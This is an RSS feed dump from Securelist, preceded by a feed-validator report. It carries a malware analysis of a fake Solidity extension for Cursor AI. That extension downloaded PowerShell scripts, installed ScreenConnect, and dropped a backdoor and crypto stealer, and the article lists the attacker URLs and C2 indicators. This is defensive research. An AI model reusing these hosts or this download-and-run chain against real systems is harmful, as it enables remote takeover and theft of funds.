FEED Validator

for Atom and RSS and KML

Congratulations!

This is a valid RSS feed.

Recommendations

This feed is valid, but interoperability with the widest range of feed readers could be improved by implementing the following recommendations.

line 51, column 0: content:encoded should not contain decoding attribute (68 occurrences) [help]
```
										<content:encoded><![CDATA[<p><img width="990" height="400" src="ht ...
```
line 51, column 0: content:encoded should not contain loading attribute (65 occurrences) [help]
```
										<content:encoded><![CDATA[<p><img width="990" height="400" src="ht ...
```
line 57, column 0: content:encoded should not contain fetchpriority attribute [help]
```
<div id="attachment_116913" style="width: 1752px" class="wp-caption aligncen ...
```
line 57, column 0: content:encoded should not contain aria-describedby attribute (49 occurrences) [help]
```
<div id="attachment_116913" style="width: 1752px" class="wp-caption aligncen ...
```
line 57, column 0: content:encoded should not contain sizes attribute (58 occurrences) [help]
```
<div id="attachment_116913" style="width: 1752px" class="wp-caption aligncen ...
```
line 427, column 3: content:encoded should not contain relative URL references: #searching-for-inadequate-uacc-control-in-data-sets (2 occurrences) [help]
```
]]></content:encoded>
   ^
```
line 595, column 0: content:encoded should not contain data-id attribute (19 occurrences) [help]
```
<div class="js-infogram-embed" data-id="_/AlxpAhyVZESH3D7u5m8i" data-type="i ...
```
line 595, column 0: content:encoded should not contain data-type attribute (19 occurrences) [help]
```
<div class="js-infogram-embed" data-id="_/AlxpAhyVZESH3D7u5m8i" data-type="i ...
```
line 595, column 0: content:encoded should not contain data-title attribute (19 occurrences) [help]
```
<div class="js-infogram-embed" data-id="_/AlxpAhyVZESH3D7u5m8i" data-type="i ...
```
line 595, column 0: style attribute contains potentially dangerous content: min-height (38 occurrences) [help]
```
<div class="js-infogram-embed" data-id="_/AlxpAhyVZESH3D7u5m8i" data-type="i ...
```

Source: https://securelist.com/feed/

<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
xmlns:content="http://purl.org/rss/1.0/modules/content/"
xmlns:wfw="http://wellformedweb.org/CommentAPI/"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:atom="http://www.w3.org/2005/Atom"
xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
>
<channel>
<title>Securelist</title>
<atom:link href="https://securelist.com/feed/" rel="self" type="application/rss+xml" />
<link>https://securelist.com</link>
<description></description>
<lastBuildDate>Thu, 10 Jul 2025 11:04:01 +0000</lastBuildDate>
<language>en-US</language>
<sy:updatePeriod>
hourly </sy:updatePeriod>
<sy:updateFrequency>
1 </sy:updateFrequency>
<generator>https://wordpress.org/?v=6.8.1</generator>
<image>
<url>https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/11/06125514/cropped-sl_favicon-32x32.png</url>
<title>Securelist</title>
<link>https://securelist.com</link>
<width>32</width>
<height>32</height>
</image>
<item>
<title>Code highlighting with Cursor AI for $500,000</title>
<link>https://securelist.com/open-source-package-for-cursor-ai-turned-into-a-crypto-heist/116908/</link>
<comments>https://securelist.com/open-source-package-for-cursor-ai-turned-into-a-crypto-heist/116908/#respond</comments>
<dc:creator><![CDATA[Georgy Kucherin]]></dc:creator>
<pubDate>Thu, 10 Jul 2025 11:00:41 +0000</pubDate>
<category><![CDATA[GReAT research]]></category>
<category><![CDATA[Malware Technologies]]></category>
<category><![CDATA[Malware Descriptions]]></category>
<category><![CDATA[Malware]]></category>
<category><![CDATA[Backdoor]]></category>
<category><![CDATA[Cryptocurrencies]]></category>
<category><![CDATA[PowerShell]]></category>
<category><![CDATA[Trojan-stealer]]></category>
<category><![CDATA[Open source]]></category>
<category><![CDATA[Financial threats]]></category>
<category><![CDATA[Windows malware]]></category>
<guid isPermaLink="false">https://kasperskycontenthub.com/securelist/?p=116908</guid>
<description><![CDATA[Kaspersky GReAT experts uncover malicious extensions for Cursor AI that download the Quasar backdoor and a crypto stealer.]]></description>
<content:encoded><![CDATA[<p><img width="990" height="400" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/10083020/solidity-featured-image-990x400.jpg" class="attachment-securelist-huge-promo size-securelist-huge-promo wp-post-image" alt="" decoding="async" loading="lazy" /></p><p>Attacks that leverage malicious open-source packages are becoming a major and growing threat. This type of attacks currently seems commonplace, with <a href="https://www.kaspersky.com/blog/supply-chain-attacks-in-2024/52965/" target="_blank" rel="noopener">reports of infected packages</a> in repositories like PyPI or npm appearing almost daily. It would seem that increased scrutiny from researchers on these repositories should have long ago minimized the profits for cybercriminals trying to make a fortune from malicious packages. However, our investigation into a recent cyberincident once again confirmed that open-source packages remain an attractive way for attackers to make easy money.</p>
<h2 id="infected-out-of-nowhere">Infected out of nowhere</h2>
<p>In June 2025, a blockchain developer from Russia reached out to us after falling victim to a cyberattack. He’d had around $500,000 in crypto assets stolen from him. Surprisingly, the victim’s operating system had been installed only a few days prior. Nothing but essential and popular apps had been downloaded to the machine. The developer was well aware of the cybersecurity risks associated with crypto transactions, so he was vigilant and carefully reviewed his every step while working online. Additionally, he used free online services for malware detection to protect his system, but no commercial antivirus software.</p>
<p>The circumstances of the infection piqued our interest, and we decided to investigate the origins of the incident. After obtaining a disk image of the infected system, we began our analysis.</p>
<h2 id="syntax-highlighting-with-a-catch">Syntax highlighting with a catch</h2>
<p>As we examined the files on the disk, a file named <code>extension.js</code> caught our attention. We found it at %userprofile%\.cursor\extensions\solidityai.solidity-1.0.9-universal\src\extension.js. Below is a snippet of its content:</p>
<div id="attachment_116913" style="width: 1752px" class="wp-caption aligncenter"><a href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/09223637/open-source-package1.png" class="magnificImage"><img fetchpriority="high" decoding="async" aria-describedby="caption-attachment-116913" class="size-full wp-image-116913" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/09223637/open-source-package1.png" alt="A request sent by the extension to the server" width="1742" height="280" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/09223637/open-source-package1.png 1742w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/09223637/open-source-package1-300x48.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/09223637/open-source-package1-1024x165.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/09223637/open-source-package1-768x123.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/09223637/open-source-package1-1536x247.png 1536w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/09223637/open-source-package1-740x119.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/09223637/open-source-package1-1600x257.png 1600w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/09223637/open-source-package1-800x129.png 800w" sizes="(max-width: 1742px) 100vw, 1742px" /></a><p id="caption-attachment-116913" class="wp-caption-text">A request sent by the extension to the server</p></div>
<p>This screenshot clearly shows the code requesting and executing a PowerShell script from the web server <code>angelic[.]su</code>: a sure sign of malware.</p>
<p>It turned out that <code>extension.js</code> was a component of the Solidity Language extension for the Cursor AI IDE, which is based on Visual Studio Code and designed for AI-assisted development. The extension is available in the Open VSX registry, used by Cursor AI, and was published about two months ago. At the time this research, the extension had been downloaded 54,000 times. The figure was likely inflated. According to the description, the extension offers numerous features to optimize work with Solidity smart contract code, specifically syntax highlighting:</p>
<div id="attachment_116914" style="width: 1370px" class="wp-caption aligncenter"><a href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/09223729/open-source-package2.png" class="magnificImage"><img decoding="async" aria-describedby="caption-attachment-116914" class="size-full wp-image-116914" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/09223729/open-source-package2.png" alt="The extension's description in the Open VSX registry" width="1360" height="816" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/09223729/open-source-package2.png 1360w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/09223729/open-source-package2-300x180.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/09223729/open-source-package2-1024x614.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/09223729/open-source-package2-768x461.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/09223729/open-source-package2-583x350.png 583w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/09223729/open-source-package2-740x444.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/09223729/open-source-package2-467x280.png 467w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/09223729/open-source-package2-800x480.png 800w" sizes="(max-width: 1360px) 100vw, 1360px" /></a><p id="caption-attachment-116914" class="wp-caption-text">The extension’s description in the Open VSX registry</p></div>
<p>We analyzed the code of every version of this extension and confirmed that it was a fake: neither syntax highlighting nor any of the other claimed features were implemented in any version. The extension has nothing to do with smart contracts. All it does is download and execute malicious code from the aforementioned web server. Furthermore, we discovered that the description of the malicious plugin was copied by the attackers from the <a href="https://open-vsx.org/extension/juanblanco/solidity" target="_blank" rel="noopener">page of a legitimate extension</a>, which had 61,000 downloads.</p>
<h2 id="how-the-extension-got-on-the-computer">How the extension got on the computer</h2>
<p>So, we found that the malicious extension had 54,000 downloads, while the legitimate one had 61,000. But how did the attackers manage to lull the developer’s vigilance? Why would he download a malicious extension with fewer downloads than the original?</p>
<p>We found out that while trying to install a Solidity code syntax highlighter, the developer searched the extension registry for <code>solidity</code>. This query returned the following:</p>
<div id="attachment_116915" style="width: 912px" class="wp-caption aligncenter"><a href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/09223825/open-source-package3.png" class="magnificImage"><img decoding="async" aria-describedby="caption-attachment-116915" class="size-full wp-image-116915" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/09223825/open-source-package3.png" alt="Search results for "solidity": the malicious (red) and legitimate (green) extensions" width="902" height="989" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/09223825/open-source-package3.png 902w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/09223825/open-source-package3-274x300.png 274w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/09223825/open-source-package3-768x842.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/09223825/open-source-package3-319x350.png 319w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/09223825/open-source-package3-740x811.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/09223825/open-source-package3-255x280.png 255w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/09223825/open-source-package3-800x877.png 800w" sizes="(max-width: 902px) 100vw, 902px" /></a><p id="caption-attachment-116915" class="wp-caption-text">Search results for “solidity”: the malicious (red) and legitimate (green) extensions</p></div>
<p>In the search results, the malicious extension appeared fourth, while the legitimate one was only in eighth place. Thus, while reviewing the search results, the developer clicked the first extension in the list with a significant number of downloads – which unfortunately proved to be the malicious one.</p>
<h2 id="the-ranking-algorithm-trap">The ranking algorithm trap</h2>
<p>How did the malicious extension appear higher in search results than the legitimate one, especially considering it had fewer downloads? It turns out the Open VSX registry ranks search results by relevance, which <a href="https://github.com/eclipse/openvsx/blob/master/server/src/main/java/org/eclipse/openvsx/search/RelevanceService.java" target="_blank" rel="noopener">considers multiple factors</a>, such as the extension rating, how recently it was published or updated, the total number of downloads, and whether the extension is verified. Consequently, the ranking is determined by a combination of factors: for example, an extension with a low number of downloads can still appear near the top of search results if that metric is offset by its recency. This is exactly what happened with the malicious plugin: the fake extension’s last update date was June 15, 2025, while the legitimate one was last updated on May 30, 2025. Thus, due to the overall mix of factors, the malicious extension’s relevance surpassed that of the original, which allowed the attackers to promote the fake extension in the search results.</p>
<p>The developer, who fell into the ranking algorithm trap, didn’t get the functionality he wanted: the extension didn’t do any syntax highlighting in Solidity. The victim mistook this for a bug, which he decided to investigate later, and continued his work. Meanwhile, the extension quietly installed malware on his computer.</p>
<h2 id="from-powershell-scripts-to-remote-control">From PowerShell scripts to remote control</h2>
<p>As mentioned above, when the malicious plugin was activated, it downloaded a PowerShell script from <code>https://angelic[.]su/files/1.txt</code>.</p>
<div id="attachment_116917" style="width: 1748px" class="wp-caption aligncenter"><a href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/09224142/open-source-package4-1.png" class="magnificImage"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-116917" class="size-full wp-image-116917" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/09224142/open-source-package4-1.png" alt="The PowerShell script contents" width="1738" height="462" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/09224142/open-source-package4-1.png 1738w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/09224142/open-source-package4-1-300x80.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/09224142/open-source-package4-1-1024x272.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/09224142/open-source-package4-1-768x204.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/09224142/open-source-package4-1-1536x408.png 1536w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/09224142/open-source-package4-1-1317x350.png 1317w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/09224142/open-source-package4-1-740x197.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/09224142/open-source-package4-1-1053x280.png 1053w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/09224142/open-source-package4-1-800x213.png 800w" sizes="auto, (max-width: 1738px) 100vw, 1738px" /></a><p id="caption-attachment-116917" class="wp-caption-text">The PowerShell script contents</p></div>
<p>The script checks if the ScreenConnect remote management software is installed on the computer. If not, it downloads a second malicious PowerShell script from: <code>https://angelic[.]su/files/2.txt</code>. This new script then downloads the ScreenConnect installer to the infected computer from <code>https://lmfao[.]su/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest</code> and runs it. From that point on, the attackers can control the infected computer via the newly installed software, which is configured to communicate with the C2 server <code>relay.lmfao[.]su</code>.</p>
<h2 id="data-theft">Data theft</h2>
<p>Further analysis revealed that the attackers used ScreenConnect to upload three VBScripts to the compromised machine:</p>
<ul>
<li><code>a.vbs</code></li>
<li><code>b.vbs</code></li>
<li><code>m.vbs</code></li>
</ul>
<p>Each of these downloaded a PowerShell script from the text-sharing service <code>paste.ee</code>. The download URL was obfuscated, as shown in the image below:</p>
<div id="attachment_116918" style="width: 880px" class="wp-caption aligncenter"><a href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/09224354/open-source-package5.png" class="magnificImage"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-116918" class="size-full wp-image-116918" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/09224354/open-source-package5.png" alt="The obfuscated URL for downloading the PowerShell script" width="870" height="189" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/09224354/open-source-package5.png 870w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/09224354/open-source-package5-300x65.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/09224354/open-source-package5-768x167.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/09224354/open-source-package5-740x161.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/09224354/open-source-package5-800x174.png 800w" sizes="auto, (max-width: 870px) 100vw, 870px" /></a><p id="caption-attachment-116918" class="wp-caption-text">The obfuscated URL for downloading the PowerShell script</p></div>
<p>The downloaded PowerShell script then retrieved an image from <code>archive[.]org</code>. A loader known as <a href="https://www.sonicwall.com/blog/vmdetector-based-loader-abuses-steganography-to-deliver-infostealers" target="_blank" rel="noopener">VMDetector</a> was then extracted from this image. VMDetector attacks <a href="https://www.ibm.com/think/x-force/dcrat-presence-growing-in-latin-america" target="_blank" rel="noopener">were previously observed</a> in phishing campaigns that targeted entities in Latin America. The loader downloaded and ran the final payload from paste.ee.</p>
<p>Our analysis of the VBScripts determined that the following payloads were downloaded to the infected computer:</p>
<ul>
<li>Quasar open-source backdoor (via <code>a.vbs</code> and <code>b.vbs</code>),</li>
<li>Stealer that collected data from browsers, email clients, and crypto wallets (via <code>m.vbs</code>). Kaspersky products detect this malware as <code>HEUR:Trojan-PSW.MSIL.PureLogs.gen</code>.</li>
</ul>
<p>Both implants communicated with the C2 server <code>144.172.112[.]84</code>, which resolved to <code>relay.lmfao[.]su</code> at the time of our analysis. With these tools, the attackers successfully obtained passphrases for the developer’s wallets and then syphoned off cryptocurrency.</p>
<h2 id="new-malicious-package">New malicious package</h2>
<p>The malicious plugin didn’t last long in the extension store and was taken down on July 2, 2025. By that time, it had already been detected not only by us as we investigated the incident but also by <a href="https://secureannex.com/blog/these-vibes-are-off/" target="_blank" rel="noopener">other researchers</a>. However, the attackers continued their campaign: just one day after the removal, they published another malicious package named “solidity”, this time exactly replicating the name of the original legitimate extension. The functionality of the fake remained unchanged: the plugin downloaded a malicious PowerShell script onto the victim’s device. However, the attackers sought to inflate the number of downloads dramatically. The new extension was supposedly downloaded around two million times. The following results appeared up until recently when users searched for <code>solidity</code> within the Cursor AI development environment (the plugin is currently removed thanks to our efforts).</p>
<div id="attachment_116919" style="width: 902px" class="wp-caption aligncenter"><a href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/09225435/open-source-package6.png" class="magnificImage"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-116919" class="size-full wp-image-116919" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/09225435/open-source-package6.png" alt="Updated search results for "solidity"" width="892" height="881" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/09225435/open-source-package6.png 892w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/09225435/open-source-package6-300x296.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/09225435/open-source-package6-768x759.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/09225435/open-source-package6-354x350.png 354w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/09225435/open-source-package6-740x731.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/09225435/open-source-package6-283x280.png 283w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/09225435/open-source-package6-800x790.png 800w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/09225435/open-source-package6-50x50.png 50w" sizes="auto, (max-width: 892px) 100vw, 892px" /></a><p id="caption-attachment-116919" class="wp-caption-text">Updated search results for “solidity”</p></div>
<p>The updated search results showed the legitimate and malicious extensions appearing side-by-side in the search rankings, occupying the seventh and eighth positions respectively. The developer names look identical at first glance, but the legitimate package was uploaded by <code>juanblanco</code>, while the malicious one was uploaded by <code>juanbIanco</code>. The font used by Cursor AI makes the lowercase letter <code>l</code> and uppercase <code>I</code> appear identical.</p>
<p>Therefore, the search results displayed two seemingly identical extensions: the legitimate one with 61,000 downloads and the malicious one with two million downloads. Which one would the user choose to install? Making the right choice becomes a real challenge.</p>
<h2 id="similar-cyberattacks">Similar cyberattacks</h2>
<p>It’s worth noting that the Solidity extensions we uncovered are not the only malicious packages published by the attackers behind this operation. We used our <a href="https://www.kaspersky.com/open-source-feed?icid=gl_securelist_acq_ona_smm__onl_b2c_securelist_lnk_sm-team_______da69c993382d038a" target="_blank" rel="noopener">open-source package monitoring tool</a> to find a malicious npm package called “solsafe”. It uses the URL <code>https://staketree[.]net/1.txt</code> to download ScreenConnect. In this campaign, it’s also configured to use <code>relay.lmfao[.]su</code> for communication with the attackers.</p>
<p>We also discovered that April and May 2025 saw three malicious Visual Studio Code extensions <a href="https://securitylabs.datadoghq.com/articles/mut-9332-malicious-solidity-vscode-extensions/" target="_blank" rel="noopener">published</a>: solaibot, among-eth, and blankebesxstnion. The infection method used in these threats is strikingly similar to the one we described above. In fact, we found almost identical functionality in their malicious scripts.</p>
<div id="attachment_116920" style="width: 2058px" class="wp-caption aligncenter"><a href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/09225529/open-source-package7.png" class="magnificImage"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-116920" class="size-full wp-image-116920" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/09225529/open-source-package7.png" alt="Scripts downloaded by the VS Code extension (left) vs. Solidity Language (right)" width="2048" height="673" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/09225529/open-source-package7.png 2048w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/09225529/open-source-package7-300x99.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/09225529/open-source-package7-1024x337.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/09225529/open-source-package7-768x252.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/09225529/open-source-package7-1536x505.png 1536w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/09225529/open-source-package7-1065x350.png 1065w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/09225529/open-source-package7-740x243.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/09225529/open-source-package7-852x280.png 852w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/09225529/open-source-package7-800x263.png 800w" sizes="auto, (max-width: 2048px) 100vw, 2048px" /></a><p id="caption-attachment-116920" class="wp-caption-text">Scripts downloaded by the VS Code extension (left) vs. Solidity Language (right)</p></div>
<p>In addition, all of the listed extensions perform the same malicious actions during execution, namely:</p>
<ul>
<li>Download PowerShell scripts named <code>1.txt</code> and <code>2.txt</code>.</li>
<li>Use a VBScript with an obfuscated URL to download a payload from <code>paste.ee</code>.</li>
<li>Download an image with a payload from <code>archive.org</code>.</li>
</ul>
<p>This leads us to conclude that these infection schemes are currently being widely used to attack blockchain developers. We believe the attackers won’t stop with the Solidity extensions or the solsafe package that we found.</p>
<h2 id="takeaways">Takeaways</h2>
<p>Malicious packages continue to pose a significant threat to the crypto industry. Many projects today rely on open-source tools downloaded from package repositories. Unfortunately, packages from these repositories are often a source of malware infections. Therefore, we recommend extreme caution when downloading any tools. Always verify that the package you’re downloading isn’t a fake. If a package doesn’t work as advertised after you install it, be suspicious and check the downloaded source code.</p>
<p>In many cases, malware installed via fake open-source packages is well-known, and <a href="https://www.kaspersky.com/premium?icid=gl_securelist_acq_ona_smm__onl_b2c_securelist_lnk_sm-team___kprem____3b7590825188da5e" target="_blank" rel="noopener">modern cybersecurity solutions</a> can effectively block it. Even experienced developers must not neglect security solutions, as these can help prevent an attack in case a malicious package is installed.</p>
<h2 id="indicators-of-compromise">Indicators of compromise</h2>
<p><em>Hashes of malicious JS files</em><br />
<a href="https://opentip.kaspersky.com/2c471e265409763024cdc33579c84d88d5aaf9aea1911266b875d3b7604a0eeb/results?icid=gl_securelist_acq_ona_smm__onl_b2c_securelist_lnk_sm-team_______15e454c813399698&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">2c471e265409763024cdc33579c84d88d5aaf9aea1911266b875d3b7604a0eeb</a><br />
<a href="https://opentip.kaspersky.com/404dd413f10ccfeea23bfb00b0e403532fa8651bfb456d84b6a16953355a800a/results?icid=gl_securelist_acq_ona_smm__onl_b2c_securelist_lnk_sm-team_______a444b95d7774347e&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">404dd413f10ccfeea23bfb00b0e403532fa8651bfb456d84b6a16953355a800a</a><br />
<a href="https://opentip.kaspersky.com/70309bf3d2aed946bba51fc3eedb2daa3e8044b60151f0b5c1550831fbc6df17/results?icid=gl_securelist_acq_ona_smm__onl_b2c_securelist_lnk_sm-team_______a3a9d7e904e1afbc&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">70309bf3d2aed946bba51fc3eedb2daa3e8044b60151f0b5c1550831fbc6df17</a><br />
<a href="https://opentip.kaspersky.com/84d4a4c6d7e55e201b20327ca2068992180d9ec08a6827faa4ff3534b96c3d6f/results?icid=gl_securelist_acq_ona_smm__onl_b2c_securelist_lnk_sm-team_______25d59420923fce49&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">84d4a4c6d7e55e201b20327ca2068992180d9ec08a6827faa4ff3534b96c3d6f</a><br />
<a href="https://opentip.kaspersky.com/eb5b35057dedb235940b2c41da9e3ae0553969f1c89a16e3f66ba6f6005c6fa8/results?icid=gl_securelist_acq_ona_smm__onl_b2c_securelist_lnk_sm-team_______a74f12d1df1716d6&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">eb5b35057dedb235940b2c41da9e3ae0553969f1c89a16e3f66ba6f6005c6fa8</a><br />
<a href="https://opentip.kaspersky.com/f4721f32b8d6eb856364327c21ea3c703f1787cfb4c043f87435a8876d903b2c/results?icid=gl_securelist_acq_ona_smm__onl_b2c_securelist_lnk_sm-team_______e4cb94c2d8cae386&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">f4721f32b8d6eb856364327c21ea3c703f1787cfb4c043f87435a8876d903b2c</a></p>
<p><em>Network indicators</em><br />
<a href="https://opentip.kaspersky.com/https%3a%2f%2fangelic.su%2ffiles%2f1.txt/?icid=gl_securelist_acq_ona_smm__onl_b2c_securelist_lnk_sm-team_______b7b775297c8232d8&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">https://angelic[.]su/files/1.txt</a><br />
<a href="https://opentip.kaspersky.com/https%3a%2f%2fangelic.su%2ffiles%2f2.txt/?icid=gl_securelist_acq_ona_smm__onl_b2c_securelist_lnk_sm-team_______a615208f7bd479c2&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">https://angelic[.]su/files/2.txt</a><br />
<a href="https://opentip.kaspersky.com/https%3a%2f%2fstaketree.net%2f1.txt/?icid=gl_securelist_acq_ona_smm__onl_b2c_securelist_lnk_sm-team_______a2d811f1afd06829&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">https://staketree[.]net/1.txt</a><br />
<a href="https://opentip.kaspersky.com/https%3a%2f%2fstaketree.net%2f2.txt/?icid=gl_securelist_acq_ona_smm__onl_b2c_securelist_lnk_sm-team_______60d15c7f54ab30d2&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">https://staketree[.]net/2.txt</a><br />
<a href="https://opentip.kaspersky.com/https%3a%2f%2frelay.lmfao.su/?icid=gl_securelist_acq_ona_smm__onl_b2c_securelist_lnk_sm-team_______84fee5d079d4f042&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">https://relay.lmfao[.]su</a><br />
<a href="https://opentip.kaspersky.com/https%3a%2f%2flmfao.su%2fbin%2fscreenconnect.clientsetup.msi%3fe%3daccess%26y%3dguest/?icid=gl_securelist_acq_ona_smm__onl_b2c_securelist_lnk_sm-team_______c77ed022878cd83c&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">https://lmfao[.]su/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest</a><br />
<a href="https://opentip.kaspersky.com/144.172.112.84/?icid=gl_securelist_acq_ona_smm__onl_b2c_securelist_lnk_sm-team_______14a8d925177cd204&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">144.172.112[.]84</a></p>
]]></content:encoded>
<wfw:commentRss>https://securelist.com/open-source-package-for-cursor-ai-turned-into-a-crypto-heist/116908/feed/</wfw:commentRss>
<slash:comments>0</slash:comments>
<media:content xmlns:media="http://search.yahoo.com/mrss/" url="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/10083020/solidity-featured-image.jpg" width="2000" height="1000"><media:keywords>full</media:keywords></media:content>
<media:content xmlns:media="http://search.yahoo.com/mrss/" url="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/10083020/solidity-featured-image-1024x512.jpg" width="1024" height="512"><media:keywords>large</media:keywords></media:content>
<media:content xmlns:media="http://search.yahoo.com/mrss/" url="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/10083020/solidity-featured-image-300x150.jpg" width="300" height="150"><media:keywords>medium</media:keywords></media:content>
<media:content xmlns:media="http://search.yahoo.com/mrss/" url="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/10083020/solidity-featured-image-150x150.jpg" width="150" height="150"><media:keywords>thumbnail</media:keywords></media:content>
</item>
<item>
<title>Approach to mainframe penetration testing on z/OS. Deep dive into RACF</title>
<link>https://securelist.com/zos-mainframe-pentesting-resource-access-control-facility/116873/</link>
<comments>https://securelist.com/zos-mainframe-pentesting-resource-access-control-facility/116873/#respond</comments>
<dc:creator><![CDATA[Denis Stepanov, Alexander Korotin]]></dc:creator>
<pubDate>Tue, 08 Jul 2025 10:00:16 +0000</pubDate>
<category><![CDATA[Research]]></category>
<category><![CDATA[Pentest]]></category>
<category><![CDATA[Security assessment]]></category>
<category><![CDATA[Offensive cybersecurity]]></category>
<category><![CDATA[Mainframes]]></category>
<category><![CDATA[z/OS]]></category>
<category><![CDATA[SQLite]]></category>
<category><![CDATA[Cybersecurity]]></category>
<guid isPermaLink="false">https://kasperskycontenthub.com/securelist/?p=116873</guid>
<description><![CDATA[We have explored the RACF security package in z/OS and developed a utility to interact with its database. Now, we are assessing RACF configuration security for penetration testing.]]></description>
